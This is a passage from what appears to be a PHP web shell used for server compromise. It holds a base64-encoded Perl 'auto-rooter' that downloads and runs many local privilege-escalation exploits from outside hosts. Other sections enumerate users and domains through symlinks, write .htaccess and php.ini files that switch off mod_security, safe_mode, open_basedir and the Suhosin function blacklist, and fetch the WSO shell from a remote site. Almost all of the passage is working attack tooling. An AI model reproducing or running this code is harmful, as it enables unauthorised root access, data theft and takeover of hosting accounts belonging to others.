QgNzc3IDIuNi45LTQyLjAuMy5FTHNtcCIpOw0Kc3lzdGVtKCIuLzIuNi45LTQyLjAuMy5FTHNtcCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjktNDIuMC4zLkVMc21wLTIwMDYiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi45LTQyLjAuMy5FTHNtcC0yMDA2Iik7DQpzeXN0ZW0oIi4vMi42LjktNDIuMC4zLkVMc21wLTIwMDYiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi45LTU1Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS01NSIpOw0Kc3lzdGVtKCIuLzIuNi45LTU1Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS01NS0yMDA3LXBydjgiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi45LTU1LTIwMDctcHJ2OCIpOw0Kc3lzdGVtKCIuLzIuNi45LTU1LTIwMDctcHJ2OCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjktNTUtMjAwOC1wcnY4Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS01NS0yMDA4LXBydjgiKTsNCnN5c3RlbSgiLi8yLjYuOS01NS0yMDA4LXBydjgiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi45LTY3MjAwOCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjktNjcyMDA4Iik7DQpzeXN0ZW0oIi4vMi42LjktNjcyMDA4Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS4yIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS4yIik7DQpzeXN0ZW0oIi4vMi42LjkuMiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjkxLTIwMDciKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi45MS0yMDA3Iik7DQpzeXN0ZW0oIi4vMi42LjkxLTIwMDciKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIwMDciKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIwMDciKTsNCnN5c3RlbSgiLi8yMDA3Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yMDA5LWxvY2FsIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyMDA5LWxvY2FsIik7DQpzeXN0ZW0oIi4vMjAwOS1sb2NhbCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMjAwOS13dW5kZXJiYXIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIwMDktd3VuZGVyYmFyIik7DQpzeXN0ZW0oIi4vMjAwOS13dW5kZXJiYXIiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIxIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyMSIpOw0Kc3lzdGVtKCIuLzIxIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8zIik7DQpzeXN0ZW0oImNobW9kIDc3NyAzIik7DQpzeXN0ZW0oIi4vMyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMy40LjYtOS0yMDA3Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAzLjQuNi05LTIwMDciKTsNCnN5c3RlbSgiLi8zLjQuNi05LTIwMDciKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzMxIik7DQpzeXN0ZW0oImNobW9kIDc3NyAzMSIpOw0Kc3lzdGVtKCIuLzMxIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8zNi1yYzEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDM2LXJjMSIpOw0Kc3lzdGVtKCIuLzM2LXJjMSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvNCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgNCIpOw0Kc3lzdGVtKCIuLzQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzQ0Iik7DQpzeXN0ZW0oImNobW9kIDc3NyA0NCIpOw0Kc3lzdGVtKCIuLzQ0Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC80NyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgNDciKTsNCnN5c3RlbSgiLi80NyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvNSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgNSIpOw0Kc3lzdGVtKCIuLzUiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzUwIik7DQpzeXN0ZW0oImNobW9kIDc3NyA1MCIpOw0Kc3lzdGVtKCIuLzUwIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC81NCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgNTQiKTsNCnN5c3RlbSgiLi81NCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvNiIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgNiIpOw0Kc3lzdGVtKCIuLzYiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzY3Iik7DQpzeXN0ZW0oImNobW9kIDc3NyA2NyIpOw0Kc3lzdGVtKCIuLzY3Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC83Iik7DQpzeXN0ZW0oImNobW9kIDc3NyA3Iik7DQpzeXN0ZW0oIi4vNyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvNy0yIik7DQpzeXN0ZW0oImNobW9kIDc3NyA3LTIiKTsNCnN5c3RlbSgiLi83LTIiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290Lzd4Iik7DQpzeXN0ZW0oImNobW9kIDc3NyA3eCIpOw0Kc3lzdGVtKCIuLzd4Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC84Iik7DQpzeXN0ZW0oImNobW9kIDc3NyA4Iik7DQpzeXN0ZW0oIi4vOCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvOSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgOSIpOw0Kc3lzdGVtKCIuLzkiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzkwIik7DQpzeXN0ZW0oImNobW9kIDc3NyA5MCIpOw0Kc3lzdGVtKCIuLzkwIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC85NCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgOTQiKTsNCnN5c3RlbSgiLi85NCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvTGludXhfMi42LjEyIik7DQpzeXN0ZW0oImNobW9kIDc3NyBMaW51eF8yLjYuMTIiKTsNCnN5c3RlbSgiLi9MaW51eF8yLjYuMTIiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L0xpbnV4XzIuNi45LWpvb2x5c2hpdCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgTGludXhfMi42Ljktam9vbHlzaGl0Iik7DQpzeXN0ZW0oIi4vMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2FjaWQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGFjaWQiKTsNCnN5c3RlbSgiLi9hY2lkIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9kM3ZpbCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgZDN2aWwiKTsNCnN5c3RlbSgiLi9kM3ZpbCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvZXhwMSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgZXhwMSIpOw0Kc3lzdGVtKCIuL2V4cDEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2V4cDIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGV4cDIiKTsNCnN5c3RlbSgiLi9leHAyIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9leHAzIik7DQpzeXN0ZW0oImNobW9kIDc3NyBleHAzIik7DQpzeXN0ZW0oIi4vZXhwMyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvZXhwbG9pdCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgZXhwbG9pdCIpOw0Kc3lzdGVtKCIuL2V4cGxvaXQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2Z1bGwtbmVsc29uIik7DQpzeXN0ZW0oImNobW9kIDc3NyBmdWxsLW5lbHNvbiIpOw0Kc3lzdGVtKCIuL2Z1bGwtbmVsc29uIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9nYXlyb3MiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGdheXJvcyIpOw0Kc3lzdGVtKCIuL2dheXJvcyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvbGVuaXMuc2giKTsNCnN5c3RlbSgiY2htb2QgNzc3IGxlbmlzLnNoIik7DQpzeXN0ZW0oIi4vbGVuaXMuc2giKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2xvY2FsLTIuNi45LTIwMDUtMjAwNiIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgbG9jYWwtMi42LjktMjAwNS0yMDA2Iik7DQpzeXN0ZW0oIi4vbG9jYWwtMi42LjktMjAwNS0yMDA2Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9sb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zIik7DQpzeXN0ZW0oImNobW9kIDc3NyBsb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zIik7DQpzeXN0ZW0oIi4vbG9jYWwtcm9vdC1leHBsb2l0LWdheXJvcyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvcHJpdjQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHByaXY0Iik7DQpzeXN0ZW0oIi4vcHJpdjQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3B3bmtlcm5lbCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgcHdua2VybmVsIik7DQpzeXN0ZW0oIi4vcHdua2VybmVsIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9yb290LnB5Iik7DQpzeXN0ZW0oImNobW9kIDc3NyByb290LnB5Iik7DQpzeXN0ZW0oIi4vcm9vdC5weSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvcnVueCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgcnVueCIpOw0Kc3lzdGVtKCIuL3J1bngiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3Rpdm9saSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgdGl2b2xpIik7DQpzeXN0ZW0oIi4vdGl2b2xpIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC91YnVudHUiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHVidW50dSIpOw0Kc3lzdGVtKCIuL3VidW50dSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9hLnBvbWYuc2UvdHhmZmd2LnppcCIpOw0Kc3lzdGVtKCJ1bnppcCB0eGZmZ3YuemlwIik7DQpzeXN0ZW0oImNobW9kICt4IHRyb2xsZWQiKTsNCnN5c3RlbSgiLi90cm9sbGVkIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oImNobW9kICt4IDNfWCIpOw0Kc3lzdGVtKCIuLzNfWCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0KDQoNCnByaW50ICJFbmQgTGludXguLiBbK11cbiI7DQp9DQppZiAoJEFSR1ZbMF0gPX4gImJzZCIgKQ0Kew0KcHJpbnQgIiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyNcbiI7DQpwcmludCAiIyBMaW51eC9Cc2QvU3Vub3MgQVVUTy1ST09URVIgICNcbiI7DQpwcmludCAiIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICNcbiI7DQpwcmludCAiIyAgICAgICAgSGF2ZSBhIGNvZmZlICAgICAgICAgICNcbiI7DQpwcmludCAiIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICNcbiI7DQpwcmludCAiIyAgICAgICBSb290aW5nIEJTRCAgICAgICAgICAgICNcbiI7DQpwcmludCAiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xuIjsNCnN5c3RlbSgidW5hbWUgLWE7bWtkaXIgYnNkO2NkIGJzZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2EucG9tZi5zZS9qd2dvYm4uemlwIik7DQpzeXN0ZW0oInVuemlwIGp3Z29ibi56aXAiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDQ4bG9jYWwiKTsNCnN5c3RlbSgiLi80OGxvY2FsIik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgiY2htb2QgNzc3IGJzZGxvY2FsIik7DQpzeXN0ZW0oIi4vYnNkbG9jYWwiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCJjaG1vZCA3NzcgQlNEMy42X2xvY2Fscm9vdCIpOw0Kc3lzdGVtKCIuL0JTRDMuNl9sb2NhbHJvb3QiKTsNCnN5c3RlbSgiaWQiKTsNCg0KDQoNCg0KcHJpbnQgIkVuZCBCc2QuLiBbK11cbiI7DQp9DQppZiAoJEFSR1ZbMF0gPX4gInN1bm9zIiApDQp7DQpwcmludCAiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xuIjsNCnByaW50ICIjIExpbnV4L0JzZC9TdW5vcyBBVVRPLVJPT1RFUiAgI1xuIjsNCnByaW50ICIjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgICBIYXZlIGEgY29mZmUgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgIFJvb3RpbmcgU3Vub3MgICAgICAgICAgI1xuIjsNCnByaW50ICIjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOw0Kc3lzdGVtKCJ1bmFtZSAtYTtta2RpciBzdW5vcztjZCBzdW5vcyIpOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9hLnBvbWYuc2Uva2twZ3ZzLnppcCIpOw0Kc3lzdGVtKCJ1bnppcCBra3BndnMuemlwIik7DQpzeXN0ZW0oImNobW9kIDc3NyB4X29zaC5wbCAiKTsNCnN5c3RlbSgicGVybCB4X29zaC5wbCAiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC9TdW5PUyUyMDUuOS9zdW5vczU5Iik7DQpzeXN0ZW0oImNobW9kIDc3NyBzdW5vczU5Iik7DQpzeXN0ZW0oIi4vc3Vub3M1OSIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290L1N1bk9TJTIwNS44L2ZpbmFsIik7DQpzeXN0ZW0oImNobW9kIDc3NyBmaW5hbCIpOw0Kc3lzdGVtKCIuL2ZpbmFsIik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvU3VuT1MlMjA1Ljcvc29sYXJpczI3Iik7DQpzeXN0ZW0oImNobW9kICt4IHNvbGFyaXMyNyIpOw0Kc3lzdGVtKCIuL3NvbGFyaXMyNyIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290L1N1bk9TJTIwNS4xMC9zdW5vczUxMCIpOw0Kc3lzdGVtKCJjaG1vZCAreCBzdW5vczUxMCIpOw0Kc3lzdGVtKCIuL3N1bm9zNTEwIik7DQpzeXN0ZW0oImlkIik7DQoNCg0KcHJpbnQgIkVuZCBTdW5PUyAuLlsrXVxuIjsNCn0=';
$chmoderr = fopen("ruut/autoroot.pl" ,"w+");
$write = fwrite ($chmoderr ,base64_decode($shellw0rm));
if($write){
echo '<p>Script Autoroot is here ===> '.getcwd().'
uututoroot.pl</p>';
fclose($chmoderr);
chmod("ruut/autoroot.pl",0755);
}
}
/////////////////////////////////////////////////coeg///// /////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'posget'))
{echo '<br><center><span style="font-size:30px; font-family:Tahoma, Geneva, sans-serif; color:#009900">Bypass posix_getpwuid</span><center><br>';
echo '<form method="POST">
<input class="inputz" size="20" value="0" name="min" type="text">
<font face="Tahoma" color="#007700" size="2pt"> to </font>
<input class="inputz" size="20" value="1024" name="max" type="text"> <input class="inputzbut" value="Symlink" name="" type="submit">
</form><br>';
if($_POST){
$min = $_POST['min'];
$max = $_POST['max'];
echo"<div class='tmp'><table align='center' width='40%'><td><font color='#e4e4e4'><b>Domains</b></font></td><td><font color='#e4e4e4'><b>Users</b></font></td><td><font color='#e4e4e4'><b>Symlink</b> </font></td>";
$p = 0;
error_reporting(0);
$list = scandir("/var/named");
for($p = $min; $min <= $max; $p++)
{
$user = posix_getpwuid($p);
if(is_array($user)){
foreach($list as $domain){
if(strpos($domain,".db")){
$domain = str_replace('.db','',$domain);
$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
if($owner['name'] == $user['name'])
{
$i += 1;
$cheechee = checkAlexa($domain);
echo "<tr><td class='cone'><a href='http://".$domain." '>".$domain."</a> <font color='#00bb00'>- </font><font color='#e4e4e4'>".$cheechee."</font></td><center><td class='cone'><font color='#00bb00'>".$user['name']."</font></center></td><td class='cone'><center><a href='sim/rut".$owner['dir']."/public_html/' target='_blank'>Dir</a></center></td>";
}
}
}
}
}
echo "<center><font face='Tahoma' color='#00bb00' size='2pt'>Total Domains Found:</font><font face='Tahoma' color='#00bb00' size='2pt'> ".$i."</font></center><br />";
}
echo "</table></div><br><br>";
}
/////////////////////////////////////////////////coeg///// /////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'suphp'))
{echo '<br><center><span style="font-size:30px; font-family:Tahoma, Geneva, sans-serif; color:#009900">Bypass PHP Suhosin Function Blacklist</span><center><br>';
echo "<br><form method='POST'>
<input class='inputz' type='text' name='path' size='25' value=".dirname(__FILE__)." '>
<input class='inputz' type='text' name='shell' size='25' value='http://files.xakep.biz/shells/PHP/wso.txt'>
<input class='inputz' type='submit' value='Bypass' name='start'><br><br>";
echo "<textarea class='inputz' rows='15' cols='78'>virusa worm Mode :)
";
if($_POST['start']) {
$path = $_POST['path'];
$file = $_POST['shell'];
$htaccess = "suPHP_ConfigPath $path/vworm/php.ini";
$phpini = "c2FmZV9tb2RlID0gT0ZGCnN1aG9zaW4uZXhlY3V0b3IuZnVuYy5ibGFja2xpc3QgPSBOT05FCmRpc2FibGVfZnVuY3Rpb25zID0gTk9ORQ==";
$dir = "vworm";
if(file_exists($dir)) {
echo "[+] vworm Folder There Before :)
";
} else {
@mkdir($dir); {
echo "[+] vworm Folder Created :D
";
} }
#Generate Sh3LL
$fopen = fopen("vworm/vw.php",'w');
$shell = @file_get_contents($file);
$swrite = fwrite($fopen ,$shell);
if($swrite){
echo "[+] Shell Has Been Generated Name : vw.php
";
} else {
echo "[~] Can't Generate Shell
";
}
fclose($fopen);
#Generate Htaccess
$hopen = fopen("vworm/.htaccess", "w");
$hwrite = fwrite($hopen, $htaccess);
if($hwrite){
echo "[+] htaccess Generated
";
} else {
echo "[~] Can't Generate htaccess
";
}
fclose($hopen);
$ini = fopen("vworm/php.ini" ,"w");
$php = fwrite($ini, base64_decode($phpini));
if($php){
echo "[+] PHP.INI Generated";
} else {
echo "[-] Can't Generate PHP.INI";
}
}
echo "</textarea><br><br><br>";
}
/////////////////////////////////////////////////coeg///// /////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'suppet'))
{
echo '<br><center><span style="font-size:30px; font-family:Tahoma, Geneva, sans-serif; color:#009900">Bypass Functions suPHP_ConfigPath Security</span><center><br>';
echo '<center><form method=post><br><br>
<input class="inputzbut" type=submit name=gnr value="Generate htaccess" /></form></center>';
error_reporting(0);
if(isset($_POST['gnr']))
{
mkdir('suPHP2',0755);
$rr = "<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckCookieFormat Off
SecFilterCheckUnicodeEncoding Off
SecFilterNormalizeCookies Off
</IfModule>
<Limit GET POST>
order deny,allow
deny from all
allow from all
</Limit>
<Limit PUT DELETE>
order deny,allow
deny from all
</Limit>
suPHP_ConfigPath ".getcwd()."/php.ini";
$g = fopen('suPHP2/.htaccess','w');
fwrite($g,$rr);
echo "<br><br><font color=red size=2 face=\"Courier New\">.htaccess Has Been Generated Successfully</font></center><br><br>";
echo "<center><br><b class='cone'><a href=suPHP2/ target='_blank'><font face='Tahoma' color='#00bb00' size='2pt'>Click here </font></a></b></center><br>";
}
echo '<center><form method=post><br><br>
<input class="inputzbut" type=submit name=gnrp value="Generate php.ini" /></form></center>';
error_reporting(0);
if(isset($_POST['gnrp']))
{
mkdir('suPHP2',0755);
$rr = "safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF";
$g = fopen('suPHP2/php.ini','w');
fwrite($g,$rr);
echo "<br><br><font color=red size=2 face=\"Courier New\">php.ini Has Been Generated Successfully</font></center><br><br>";
echo "<center><br><b class='cone'><a href=suPHP2/ target='_blank'><font face='Tahoma' color='#00bb00' size='2pt'>Click here </font></a></b></center><br>";
}
}
/////////////////////////////////////////////////coeg///// /////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'setphr'))
{echo '<br><center><span style="font-size:30px; font-family:Tahoma, Geneva, sans-serif; color:#009900">Bypass suPHP Security</span><center><br>';
echo '<center><form method=post><br><br>
<input class="inputzbut" type=submit name=gnr value="Generate htaccess" /></form></center>';
error_reporting(0);
if(isset($_POST['gnr']))
{
mkdir('suPHP',0755);
$rr = "<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckCookieFormat Off
SecFilterCheckUnicodeEncoding Off
SecFilterNormalizeCookies Off
</IfModule>
<Limit GET POST>
order deny,allow
deny from all
allow from all
</Limit>
<Limit PUT DELETE>
order deny,allow
deny from all
</Limit>
suPHP_ConfigPath ".getcwd()."/php.ini";
$g = fopen('suPHP/.htaccess','w');
fwrite($g,$rr);
echo "<br><br><font color=red size=2 face=\"Courier New\">.htaccess Has Been Generated Successfully</font></center><br><br>";
echo "<center><br><b class='cone'><a href=suPHP/ target='_blank'><font face='Tahoma' color='#00bb00' size='2pt'>Click here </font></a></b></center><br>";
}
echo '<center><form method=post><br><br>
<input class="inputzbut" type=submit name=gnrp value="Generate php.ini" /></form></center>';
error_reporting(0);
if(isset($_POST['gnrp']))
{
mkdir('suPHP',0755);
$rr = "safe_mode = OFF
Safe_mode_gid = OFF
disable_functions = NONE
disable_classes = NONE
open_basedir = OFF
suhosin.executor.func.blacklist = NONE";
$g = fopen('suPHP/php.ini','w');
fwrite($g,$rr);
echo "<br><br><font color=red size=2 face=\"Courier New\">php.ini Has Been Generated Successfully</font></center><br><br>";
